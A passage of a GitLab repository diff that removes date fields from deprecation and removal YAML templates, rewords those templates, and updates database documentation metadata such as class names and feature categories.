- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: dhershkovitch # (required) GitLab username of the person reporting the deprecation
stage: verify # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -34,7 +32,6 @@
# in the `#spt_managers` channel in Slack, and mention `@gitlab-com/support` in this MR.
#
end_of_support_milestone: # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: # (optional) The date of the milestone release when support for this feature will end.
#
# OTHER OPTIONAL FIELDS
#
diff --git a/data/deprecations/16-0-security_report_schemas_v14-x-x.yml b/data/deprecations/16-0-security_report_schemas_v14-x-x.yml
index 5001bd490b0..0cc6a10ca76 100644
--- a/data/deprecations/16-0-security_report_schemas_v14-x-x.yml
+++ b/data/deprecations/16-0-security_report_schemas_v14-x-x.yml
@@ -3,9 +3,7 @@
#
- title: "Security report schemas version 14.x.x" # (required) the name of the feature being removed. Avoid the words `deprecation`, `deprecate`, `removal`, and `remove` in this field because these are implied.
announcement_milestone: "15.3" # (required) The milestone when this feature was deprecated.
- announcement_date: "2022-08-22" # (required) The date of the milestone release when this feature was deprecated. This should almost always be the 22nd of a month (YYYY-MM-DD), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is being removed.
- removal_date: "2023-05-22" # (required) This should almost always be the 22nd of a month (YYYY-MM-DD), the date of the milestone release when this feature will be removed.
breaking_change: true # (required) Change to true if this removal is a breaking change.
reporter: matt_wilson # (required) GitLab username of the person reporting the removal
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -22,7 +20,6 @@
# OPTIONAL FIELDS
#
end_of_support_milestone: # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: # (optional) The date of the milestone release when support for this feature will end.
tiers: [Ultimate] # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
documentation_url: # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
diff --git a/data/deprecations/distribution_deprecations_14-4.yml b/data/deprecations/distribution_deprecations_14-4.yml
index 8dc948918c1..d8b8de929d7 100644
--- a/data/deprecations/distribution_deprecations_14-4.yml
+++ b/data/deprecations/distribution_deprecations_14-4.yml
@@ -1,7 +1,5 @@
- title: "Move `custom_hooks_dir` setting from GitLab Shell to Gitaly" # The name of the feature to be deprecated
announcement_milestone: "14.9" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-03-22"
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
- removal_date: "2022-05-22"
body: | # Do not modify this line, instead modify the lines below.
The [`custom_hooks_dir`](https://docs.gitlab.com/ee/administration/server_hooks.html#create-a-global-server-hook-for-all-repositories) setting is now configured in Gitaly, and will be removed from GitLab Shell in GitLab 15.0.
diff --git a/data/deprecations/templates/_deprecation_template.md.erb b/data/deprecations/templates/_deprecation_template.md.erb
index 7712790d166..89e14c20050 100644
--- a/data/deprecations/templates/_deprecation_template.md.erb
+++ b/data/deprecations/templates/_deprecation_template.md.erb
@@ -56,9 +56,9 @@ sole discretion of GitLab Inc.
### <%= deprecation["title"] %>
<% if deprecation["end_of_support_milestone"] -%>
-End of Support: GitLab <span class="removal-milestone"><%= deprecation["end_of_support_milestone"]%></span> (<%= deprecation["end_of_support_date"]%>)<br />
+End of Support: GitLab <span class="removal-milestone"><%= deprecation["end_of_support_milestone"]%></span> <span class="support-end-date"></span><br />
<% end -%>
-Planned removal: GitLab <span class="removal-milestone"><%= deprecation["removal_milestone"]%></span> (<%= deprecation["removal_date"]%>)
+Planned removal: GitLab <span class="removal-milestone"><%= deprecation["removal_milestone"]%></span> <span class="removal-date"></span>
<% if deprecation["breaking_change"] -%>
WARNING:
diff --git a/data/deprecations/templates/example.yml b/data/deprecations/templates/example.yml
index 619810f1e7e..dcb78fa434b 100644
--- a/data/deprecations/templates/example.yml
+++ b/data/deprecations/templates/example.yml
@@ -1,28 +1,27 @@
-# This is a template for a feature deprecation.
+# This is a template for announcing a feature deprecation or other important planned change.
#
-# Please refer to the deprecation guidelines to confirm your understanding of the
-# definitions for "Deprecation", "End of Support", and "Removal":
+# Please refer to the deprecation guidelines to confirm your understanding of GitLab's definitions.
# https://docs.gitlab.com/ee/development/deprecation_guidelines/#terminology
#
-# Deprecations must be announced at least three releases prior to removal.
-# See the OPTIONAL END OF SUPPORT FIELDS section below if an End of Support period also applies.
+# Deprecations and other future breaking changes must be announced at least
+# three releases prior to removal.
#
# Breaking changes must happen in a major release.
#
+# See the OPTIONAL END OF SUPPORT FIELDS section below if an End of Support period also applies.
+#
# For more information please refer to the handbook documentation here:
-# https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations
+# https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations-and-other-planned-breaking-change-announcements
#
# Please delete this line and above before submitting your merge request.
#
# REQUIRED FIELDS
#
-- title: "Feature A is deprecated" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "The maximum number of characters in a job name will be limited to 250."
+- title: "Feature A is deprecated" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "CI/CD job names will be limited to 250 characters."
announcement_milestone: "XX.YY" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "YYYY-MM-DD" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "XX.YY" # (required) The milestone when this feature is planned to be removed
- removal_date: # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
- breaking_change: false # (required) If this deprecation is a breaking change, set this value to true
- reporter: exampleuser # (required) GitLab username of the person reporting the deprecation
+ breaking_change: true # (required) Change to false if this is not a breaking change.
+ reporter: exampleuser # (required) GitLab username of the person reporting the change
stage: stage # (required) String value of the stage that the feature was created in. e.g., Growth
issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/000000 # (required) Link to the deprecation issue in GitLab
body: | # (required) Do not modify this line, instead modify the lines below.
@@ -33,7 +32,7 @@
Additionally, deprecations and other planned changes should be actionable, so add details that explain what users need to do to address the change. For example:
- "Use the `internal` keyword instead of `confidential`."
- - "Reduce the number of characters in all jobs to be 250 characters or less."
+ - "Reduce the number of characters in all job names to be 250 characters or less."
- "Give an expiration date to any access tokens that have no expiration date."
- "Stop using the `omniauth_crowd` gem. It will be removed and will not be replaced."
@@ -49,7 +48,6 @@
# in the `#spt_managers` channel in Slack, and mention `@gitlab-com/support` in this MR.
#
end_of_support_milestone: # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: # (optional) The date of the milestone release when support for this feature will end.
#
# OTHER OPTIONAL FIELDS
#
diff --git a/data/removals/templates/example.yml b/data/removals/templates/example.yml
index e7c0268c182..3645c407e25 100644
--- a/data/removals/templates/example.yml
+++ b/data/removals/templates/example.yml
@@ -1,43 +1,42 @@
-# This is a template for a feature removal.
+# This is a template for announcing a feature removal or other important change.
#
# Please refer to the deprecation guidelines to confirm your understanding of GitLab's definitions.
# https://docs.gitlab.com/ee/development/deprecation_guidelines/#terminology
#
-# If this removal is a breaking change, it must take place in a major release.
+# If this is a breaking change, it must happen in a major release.
#
# For more information please refer to the handbook documentation here:
-# https://about.gitlab.com/handbook/marketing/blog/release-posts/#removals
+# https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations-and-other-planned-breaking-change-announcements
#
# Please delete this line and above before submitting your merge request.
#
# REQUIRED FIELDS
#
-- title: "X is removed. Do Y instead." # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
+- title: "Feature A is removed." # (required) Clearly explain the change. For example, "The `confidential` field for a `Note` is removed" or "CI/CD job names are limited to 250 characters."
announcement_milestone: "XX.YY" # (required) The milestone when this feature was deprecated.
announcement_date: "YYYY-MM-DD" # (required) The date of the milestone release when this feature was deprecated. This should almost always be the 22nd of a month (YYYY-MM-DD), unless you did an out of band blog post.
removal_milestone: "XX.YY" # (required) The milestone when this feature is being removed.
removal_date: "YYYY-MM-DD" # (required) This should almost always be the 22nd of a month (YYYY-MM-DD), the date of the milestone release when this feature will be removed.
- breaking_change: false # (required) Change to true if this removal is a breaking change.
+ breaking_change: true # (required) Change to false if this is not a breaking change.
reporter: exampleuser # (required) GitLab username of the person reporting the removal
stage: stage # (required) String value of the stage that the feature was created in. e.g., Growth
issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/000000 # (required) Link to the deprecation issue in GitLab
body: | # (required) Do not modify this line, instead modify the lines below.
<!-- START OF BODY COMMENT
- This area supports markdown. Delete this entire comment and replace it with your markdown content.
+ Be clear and concise. Give a brief explanation of the details or reasons for the change.
- Removals must be actionable.
+ Additionally, removals and other planned changes should be actionable, so add details that explain what users need to do to address the change. For example:
- Use terms such as "removed in favor of" or "use X instead." If no replacement is available, the action would be, "Discontinue use of foo immediately."
-
- For example:
-
- - The `confidential` field for a `Note` is removed. Use `internal` instead.
- - The `merge_status` field in the merge request API has been removed in favor of `detailed_merge_status`.
- - The `notable` endpoint has been removed. Discontinue use of `notable` immediately.
+ - "Use the `internal` keyword instead of `confidential`."
+ - "Reduce the number of characters in all job names to be 250 characters or less."
+ - "Give an expiration date to any access tokens that have no expiration date."
+ - "Stop using the `omniauth_crowd` gem. It has been removed and will not be replaced."
When ready, assign to your tech writer for review. When ready, they will run `bin/rake gitlab:docs:compile_removals` to update the removals doc, then merge.
+ This area supports markdown. Delete this entire comment and replace it with your markdown content.
+
END OF BODY COMMENT -->
#
# OPTIONAL FIELDS
diff --git a/data/whats_new/202212200001_15_07.yml b/data/whats_new/202212200001_15_07.yml
index ac192218d3e..937a4f76375 100644
--- a/data/whats_new/202212200001_15_07.yml
+++ b/data/whats_new/202212200001_15_07.yml
@@ -4,7 +4,7 @@
To support more developers where they're already working, we've adopted the open source project `glab`, which will form the foundation of GitLab's native CLI experience. The GitLab CLI brings GitLab together with Git and your code, with no application or tab switching required.
- You can read about our adoption of `glab`, our partnership with 1Password, and how to contribute to the project in our [blog post](/blog/2022/12/07/introducing-the-gitlab-cli/).
+ You can read about our adoption of `glab`, our partnership with 1Password, and how to contribute to the project in our [blog post](https://about.gitlab.com/blog/2022/12/07/introducing-the-gitlab-cli/).
A special thank you to [Clement Sam](https://gitlab.com/profclems) for creating `glab` and trusting us with its future.
stage: create
@@ -53,7 +53,7 @@
Self-managed instances have access to the Web IDE Beta where it is behind a [feature flag](https://docs.gitlab.com/ee/user/project/web_ide_beta/) disabled by default in GitLab 15.7.
- Learn more about the Web IDE Beta and what's coming next in our [recent blog post](/blog/2022/12/15/get-ready-for-new-gitlab-web-ide/).
+ Learn more about the Web IDE Beta and what's coming next in our [recent blog post](https://about.gitlab.com/blog/2022/12/15/get-ready-for-new-gitlab-web-ide/).
stage: configure
self-managed: true
gitlab-com: true
@@ -136,7 +136,7 @@
self-managed: true
gitlab-com: true
available_in: [Free, Premium, Ultimate]
- documentation_link: https://docs.gitlab.com/ee/ci/variables/#expand-cicd-variables
+ documentation_link: https://docs.gitlab.com/ee/ci/variables/#prevent-cicd-variable-expansion
image_url: https://about.gitlab.com/images/15_7/raw.png
published_at: 2022-12-22
release: 15.7
diff --git a/db/docs/achievements.yml b/db/docs/achievements.yml
index 20f9d1616b3..04d17defa06 100644
--- a/db/docs/achievements.yml
+++ b/db/docs/achievements.yml
@@ -1,7 +1,7 @@
---
table_name: achievements
classes:
-- Achievements::Achivement
+- Achievements::Achievement
feature_categories:
- users
description: Achievements which can be created by namespaces to award them to users
diff --git a/db/docs/analytics_cycle_analytics_group_stages.yml b/db/docs/analytics_cycle_analytics_group_stages.yml
index 5dbb3eba2c0..12c7668632d 100644
--- a/db/docs/analytics_cycle_analytics_group_stages.yml
+++ b/db/docs/analytics_cycle_analytics_group_stages.yml
@@ -1,7 +1,7 @@
---
table_name: analytics_cycle_analytics_group_stages
classes:
-- Analytics::CycleAnalytics::GroupStage
+- Analytics::CycleAnalytics::Stage
feature_categories:
- value_stream_management
description: TODO
diff --git a/db/docs/analytics_cycle_analytics_group_value_streams.yml b/db/docs/analytics_cycle_analytics_group_value_streams.yml
index e29d07c5a72..1f8603ab294 100644
--- a/db/docs/analytics_cycle_analytics_group_value_streams.yml
+++ b/db/docs/analytics_cycle_analytics_group_value_streams.yml
@@ -1,7 +1,7 @@
---
table_name: analytics_cycle_analytics_group_value_streams
classes:
-- Analytics::CycleAnalytics::GroupValueStream
+- Analytics::CycleAnalytics::ValueStream
feature_categories:
- value_stream_management
description: Store group level Value Stream objects.
diff --git a/db/docs/analytics_dashboards_pointers.yml b/db/docs/analytics_dashboards_pointers.yml
new file mode 100644
index 00000000000..b554911d3ad
--- /dev/null
+++ b/db/docs/analytics_dashboards_pointers.yml
@@ -0,0 +1,10 @@
+---
+table_name: analytics_dashboards_pointers
+classes:
+- Analytics::DashboardsPointer
+feature_categories:
+ - devops_reports
+description: Stores project link with configuration files for Analytics Dashboards group feature.
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107673
+milestone: '15.8'
+gitlab_schema: gitlab_main
diff --git a/db/docs/approval_merge_request_rules_approved_approvers.yml b/db/docs/approval_merge_request_rules_approved_approvers.yml
index 4a453da4162..8d2d74ffcc5 100644
--- a/db/docs/approval_merge_request_rules_approved_approvers.yml
+++ b/db/docs/approval_merge_request_rules_approved_approvers.yml
@@ -2,7 +2,7 @@
table_name: approval_merge_request_rules_approved_approvers
classes: []
feature_categories:
-- code_review
+- code_review_workflow
description: Join table for approved approvers and ApprovalMergeRequestRule
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/8497
milestone: '11.7'
diff --git a/db/docs/approver_groups.yml b/db/docs/approver_groups.yml
index fd892ed3f4c..b69c110e3cc 100644
--- a/db/docs/approver_groups.yml
+++ b/db/docs/approver_groups.yml
@@ -3,7 +3,7 @@ table_name: approver_groups
classes:
- ApproverGroup
feature_categories:
-- code_review
+- code_review_workflow
- source_code_management
description: Group approvers of given merge request
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/743
diff --git a/db/docs/approvers.yml b/db/docs/approvers.yml
index ac15bbb8767..ea700bfb634 100644
--- a/db/docs/approvers.yml
+++ b/db/docs/approvers.yml
@@ -3,7 +3,7 @@ table_name: approvers
classes:
- Approver
feature_categories:
-- code_review
+- code_review_workflow
- source_code_management
description: Approvers of given merge request
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/3cc78d89984d9c9df8372c52b7bba38e6226f9f2
diff --git a/db/docs/chat_names.yml b/db/docs/chat_names.yml
index fd1efaf91d7..a2a1d9e5240 100644
--- a/db/docs/chat_names.yml
+++ b/db/docs/chat_names.yml
@@ -4,7 +4,7 @@ classes:
- ChatName
feature_categories:
- integrations
-- chatops
+- continuous_integration
description: Stores mappings from external chat accounts to GitLab users.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7450
milestone: '8.14'
diff --git a/db/docs/chat_teams.yml b/db/docs/chat_teams.yml
index d50e596279a..84584e0d68e 100644
--- a/db/docs/chat_teams.yml
+++ b/db/docs/chat_teams.yml
@@ -4,7 +4,7 @@ classes:
- ChatTeam
feature_categories:
- integrations
-- chatops
+- continuous_integration
description: Stores mappings from external chat teams to GitLab groups.
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8746
milestone: '9.0'
diff --git a/db/docs/ci_job_artifacts.yml b/db/docs/ci_job_artifacts.yml
index bff81fa5ae9..92c43eaf04f 100644
--- a/db/docs/ci_job_artifacts.yml
+++ b/db/docs/ci_job_artifacts.yml
@@ -2,7 +2,6 @@
table_name: ci_job_artifacts
classes:
- Ci::JobArtifact
-- Gitlab::Ci::JobArtifact
feature_categories:
- build_artifacts
description: Stores artifacts produced by a build.
diff --git a/db/docs/ci_minutes_additional_packs.yml b/db/docs/ci_minutes_additional_packs.yml
index 2be58f2cdde..be4b0a19621 100644
--- a/db/docs/ci_minutes_additional_packs.yml
+++ b/db/docs/ci_minutes_additional_packs.yml
@@ -3,7 +3,7 @@ table_name: ci_minutes_additional_packs
classes:
- Ci::Minutes::AdditionalPack
feature_categories:
-- utilization
+- purchase
description: TODO
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62393
milestone: '14.0'
diff --git a/db/docs/ci_namespace_mirrors.yml b/db/docs/ci_namespace_mirrors.yml
index dd6b8eab821..1566f043a0e 100644
--- a/db/docs/ci_namespace_mirrors.yml
+++ b/db/docs/ci_namespace_mirrors.yml
@@ -3,7 +3,7 @@ table_name: ci_namespace_mirrors
classes:
- Ci::NamespaceMirror
feature_categories:
-- sharding
+- pods
description: Mirrors some data from the `main` database into the `ci` database so that we can join directly in a single query
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75621
milestone: '14.6'
diff --git a/db/docs/ci_pipeline_chat_data.yml b/db/docs/ci_pipeline_chat_data.yml
index eeef86bd4dd..91f29a88648 100644
--- a/db/docs/ci_pipeline_chat_data.yml
+++ b/db/docs/ci_pipeline_chat_data.yml
@@ -3,7 +3,7 @@ table_name: ci_pipeline_chat_data
classes:
- Ci::PipelineChatData
feature_categories:
-- chatops
+- continuous_integration
description: Stores information about a CI pipeline created via chatops
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4466
milestone: '10.6'
diff --git a/db/docs/ci_project_mirrors.yml b/db/docs/ci_project_mirrors.yml
index d6619880b20..8e332a10194 100644
--- a/db/docs/ci_project_mirrors.yml
+++ b/db/docs/ci_project_mirrors.yml
@@ -3,7 +3,7 @@ table_name: ci_project_mirrors
classes:
- Ci::ProjectMirror
feature_categories:
-- sharding
+- pods
description: Mirrors some data from the `main` database into the `ci` database so that we can join directly in a single query
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75621
milestone: '14.6'
diff --git a/db/docs/ci_runner_machines.yml b/db/docs/ci_runner_machines.yml
new file mode 100644
index 00000000000..17cb700d96b
--- /dev/null
+++ b/db/docs/ci_runner_machines.yml
@@ -0,0 +1,10 @@
+---
+table_name: ci_runner_machines
+classes:
+- Ci::RunnerMachine
+feature_categories:
+- runner_fleet
+description: Information about host machines associated to Ci::Runner models
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107801
+milestone: '15.8'
+gitlab_schema: gitlab_ci
diff --git a/db/docs/clusters_applications_cilium.yml b/db/docs/clusters_applications_cilium.yml
index 8744ee73633..b28d674cef0 100644
--- a/db/docs/clusters_applications_cilium.yml
+++ b/db/docs/clusters_applications_cilium.yml
@@ -3,7 +3,7 @@ table_name: clusters_applications_cilium
classes:
- Clusters::Applications::Cilium
feature_categories:
-- container_network_security
+- security_policy_management
description: Information about installed instance of Cilium in the cluster
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34601
milestone: '13.2'
diff --git a/db/docs/dast_pre_scan_verifications.yml b/db/docs/dast_pre_scan_verifications.yml
index 45d39335264..cc537aa87d6 100644
--- a/db/docs/dast_pre_scan_verifications.yml
+++ b/db/docs/dast_pre_scan_verifications.yml
@@ -1,7 +1,7 @@
---
table_name: dast_pre_scan_verifications
classes:
-- Dast::PreScanVerifications
+- Dast::PreScanVerification
feature_categories:
- dynamic_application_security_testing
description: Verification status for DAST Profiles
diff --git a/db/docs/dependency_list_exports.yml b/db/docs/dependency_list_exports.yml
index 14d222edb06..1597f17c80c 100644
--- a/db/docs/dependency_list_exports.yml
+++ b/db/docs/dependency_list_exports.yml
@@ -1,5 +1,7 @@
---
table_name: dependency_list_exports
+classes:
+- Dependencies::DependencyListExport
feature_categories:
- dependency_management
description: Dependency list exported data
diff --git a/db/docs/dingtalk_tracker_data.yml b/db/docs/dingtalk_tracker_data.yml
index 6994bd805a7..cd9e8f86602 100644
--- a/db/docs/dingtalk_tracker_data.yml
+++ b/db/docs/dingtalk_tracker_data.yml
@@ -1,7 +1,6 @@
---
table_name: dingtalk_tracker_data
-classes:
-- Integrations::DingtalkTrackerData
+classes: []
feature_categories:
- integrations
description: Data related to the Dingtalk integration (JiHu-specific, see https://jihulab.com/gitlab-cn/gitlab/-/merge_requests/417).
diff --git a/db/docs/draft_notes.yml b/db/docs/draft_notes.yml
index 047241a7976..30e0bc96e22 100644
--- a/db/docs/draft_notes.yml
+++ b/db/docs/draft_notes.yml
@@ -3,7 +3,7 @@ table_name: draft_notes
classes:
- DraftNote
feature_categories:
-- code_review
+- code_review_workflow
- source_code_management
description: Notes created during the review of an MR that are not yet published
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4213
diff --git a/db/docs/elastic_group_index_statuses.yml b/db/docs/elastic_group_index_statuses.yml
new file mode 100644
index 00000000000..a9b0081474c
--- /dev/null
+++ b/db/docs/elastic_group_index_statuses.yml
@@ -0,0 +1,10 @@
+---
+table_name: elastic_group_index_statuses
+classes:
+- Elastic::GroupIndexStatus
+feature_categories:
+- global_search
+description: Table for tracking Advanced Search indexing statuses for groups
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107579
+milestone: '15.8'
+gitlab_schema: gitlab_main
diff --git a/db/docs/elastic_reindexing_slices.yml b/db/docs/elastic_reindexing_slices.yml
index b547c96a35d..84e42b16d57 100644
--- a/db/docs/elastic_reindexing_slices.yml
+++ b/db/docs/elastic_reindexing_slices.yml
@@ -3,7 +3,7 @@ table_name: elastic_reindexing_slices
classes:
- Elastic::ReindexingSlice
feature_categories:
-- memory
+- application_performance
description: TODO
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55681
milestone: '13.12'
diff --git a/db/docs/elasticsearch_indexed_projects.yml b/db/docs/elasticsearch_indexed_projects.yml
index 78d8e2e58f7..17e2e116fdd 100644
--- a/db/docs/elasticsearch_indexed_projects.yml
+++ b/db/docs/elasticsearch_indexed_projects.yml
@@ -3,7 +3,7 @@ table_name: elasticsearch_indexed_projects
classes:
- ElasticsearchIndexedProject
feature_categories:
-- memory
+- application_performance
description: TODO
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9861
milestone: '11.10'
diff --git a/db/docs/geo_container_repository_updated_events.yml b/db/docs/geo_container_repository_updated_events.yml
deleted file mode 100644
index a07758da54e..00000000000
--- a/db/docs/geo_container_repository_updated_events.yml
+++ /dev/null
@@ -1,10 +0,0 @@
----
-table_name: geo_container_repository_updated_events
-classes:
-- Geo::ContainerRepositoryUpdatedEvent
-feature_categories:
-- geo_replication
-description: Geo event for when a container repository (image, tag, registry) gets updated, belongs to geo_event_log.
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/1902d9cc74a1dc2c87fdbb39a6cdbb67092cbb5a
-milestone: '12.2'
-gitlab_schema: gitlab_main
diff --git a/db/docs/ghost_user_migrations.yml b/db/docs/ghost_user_migrations.yml
index d90eca9f153..245e6735cd6 100644
--- a/db/docs/ghost_user_migrations.yml
+++ b/db/docs/ghost_user_migrations.yml
@@ -1,7 +1,7 @@
---
table_name: ghost_user_migrations
classes:
-- GhostUserMigration
+- Users::GhostUserMigration
feature_categories:
- users
description: Users records awaiting for their associated records to be migrated to ghost user
diff --git a/db/docs/historical_data.yml b/db/docs/historical_data.yml
index 020cc33b25d..a7af9e04c14 100644
--- a/db/docs/historical_data.yml
+++ b/db/docs/historical_data.yml
@@ -3,8 +3,8 @@ table_name: historical_data
classes:
- HistoricalData
feature_categories:
-- utilization
+- sm_provisioning
description: TODO
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/commit/85c04a8aa654d1b7f898e55a113e50521bacaaf2
+introduced_by_url: https://dev.gitlab.org/gitlab/gitlab-ee/-/merge_requests/390
milestone: '7.11'
gitlab_schema: gitlab_main
diff --git a/db/docs/integrations.yml b/db/docs/integrations.yml
index 52d719e19da..5bb4f448541 100644
--- a/db/docs/integrations.yml
+++ b/db/docs/integrations.yml
@@ -2,6 +2,7 @@
table_name: integrations
classes:
- Integration
+- Integrations::AppleAppStore
- Integrations::Asana
- Integrations::Assembla
- Integrations::Bamboo
@@ -9,7 +10,9 @@ classes:
- Integrations::BaseCi
- Integrations::BaseIssueTracker
- Integrations::BaseMonitoring
+- Integrations::BaseSlackNotification
- Integrations::BaseSlashCommands
+- Integrations::BaseThirdPartyWiki
- Integrations::Bugzilla
- Integrations::Buildkite
- Integrations::Campfire
diff --git a/db/docs/lfs_file_locks.yml b/db/docs/lfs_file_locks.yml
index c366c43d6d7..07850aedddb 100644
--- a/db/docs/lfs_file_locks.yml
+++ b/db/docs/lfs_file_locks.yml
@@ -3,7 +3,7 @@ table_name: lfs_file_locks
classes:
- LfsFileLock
feature_categories:
-- git_lfs
+- source_code_management
description: File locks for LFS objects
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4091
milestone: '10.5'
diff --git a/db/docs/lfs_object_states.yml b/db/docs/lfs_object_states.yml
index 02334202bdc..a0a6d4345fb 100644
--- a/db/docs/lfs_object_states.yml
+++ b/db/docs/lfs_object_states.yml
@@ -3,7 +3,7 @@ table_name: lfs_object_states
classes:
- Geo::LfsObjectState
feature_categories:
-- git_lfs
+- source_code_management
description: Geo verification states for LFS objects
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63981
milestone: '14.6'
diff --git a/db/docs/lfs_objects.yml b/db/docs/lfs_objects.yml
index 490bc1af0d9..431aace668f 100644
--- a/db/docs/lfs_objects.yml
+++ b/db/docs/lfs_objects.yml
@@ -3,7 +3,7 @@ table_name: lfs_objects
classes:
- LfsObject
feature_categories:
-- git_lfs
+- source_code_management
description: LFS files
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/1727
milestone: '8.2'
diff --git a/db/docs/lfs_objects_projects.yml b/db/docs/lfs_objects_projects.yml
index 7158e702312..e00132824be 100644
--- a/db/docs/lfs_objects_projects.yml
+++ b/db/docs/lfs_objects_projects.yml
@@ -3,7 +3,6 @@ table_name: lfs_objects_projects
classes:
- LfsObjectsProject
feature_categories:
-- git_lfs
- source_code_management
description: Join table relating lfs_objects and projects
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/1727
diff --git a/db/docs/loose_foreign_keys_deleted_records.yml b/db/docs/loose_foreign_keys_deleted_records.yml
index aeaf241ef4a..8ce8d4e52b3 100644
--- a/db/docs/loose_foreign_keys_deleted_records.yml
+++ b/db/docs/loose_foreign_keys_deleted_records.yml
@@ -3,7 +3,7 @@ table_name: loose_foreign_keys_deleted_records
classes:
- LooseForeignKeys::DeletedRecord
feature_categories:
-- sharding
+- pods
description: Used by the loose foreign keys feature as a queue of parent records whose child records (via foreign keys) need to be deleted/nullified
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70152
milestone: '14.3'
diff --git a/db/docs/merge_request_assignees.yml b/db/docs/merge_request_assignees.yml
index 38f476ead90..12ca2eb513f 100644
--- a/db/docs/merge_request_assignees.yml
+++ b/db/docs/merge_request_assignees.yml
@@ -3,7 +3,7 @@ table_name: merge_request_assignees
classes:
- MergeRequestAssignee
feature_categories:
-- code_review
+- code_review_workflow
description: Store allocated assignees for merge requests
introduced_by_url: https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/26496
milestone: '11.10'
diff --git a/db/docs/merge_request_cleanup_schedules.yml b/db/docs/merge_request_cleanup_schedules.yml
index e25c88c99a7..ba7c4e218f0 100644
--- a/db/docs/merge_request_cleanup_schedules.yml
+++ b/db/docs/merge_request_cleanup_schedules.yml
@@ -3,7 +3,7 @@ table_name: merge_request_cleanup_schedules
classes:
- MergeRequest::CleanupSchedule
feature_categories:
-- code_review
+- code_review_workflow
description: Store refs cleanup schedules for merge requests
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46758
milestone: '13.6'
diff --git a/db/docs/merge_request_context_commit_diff_files.yml b/db/docs/merge_request_context_commit_diff_files.yml
index 6b64ea87555..ab92c3e69a2 100644
--- a/db/docs/merge_request_context_commit_diff_files.yml
+++ b/db/docs/merge_request_context_commit_diff_files.yml
@@ -3,7 +3,7 @@ table_name: merge_request_context_commit_diff_files
classes:
- MergeRequestContextCommitDiffFile
feature_categories:
-- code_review
+- code_review_workflow
description: Stores diffs data for merge request context commits
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23701
milestone: '12.8'
diff --git a/db/docs/merge_request_context_commits.yml b/db/docs/merge_request_context_commits.yml
index 1c8fc45776f..a16d1177d9d 100644
--- a/db/docs/merge_request_context_commits.yml
+++ b/db/docs/merge_request_context_commits.yml
@@ -3,7 +3,7 @@ table_name: merge_request_context_commits
classes:
- MergeRequestContextCommit
feature_categories:
-- code_review
+- code_review_workflow
description: Store context commit related data for merge requests
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23701
milestone: '12.8'
diff --git a/db/docs/merge_request_diff_commit_users.yml b/db/docs/merge_request_diff_commit_users.yml
index 1e6e78b37e3..59b5a73ca32 100644
--- a/db/docs/merge_request_diff_commit_users.yml
+++ b/db/docs/merge_request_diff_commit_users.yml
@@ -3,7 +3,7 @@ table_name: merge_request_diff_commit_users
classes:
- MergeRequest::DiffCommitUser
feature_categories:
-- code_review
+- code_review_workflow
description: Store commit user information for merge request diffs
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63669
milestone: '14.1'
diff --git a/db/docs/merge_request_diff_commits.yml b/db/docs/merge_request_diff_commits.yml
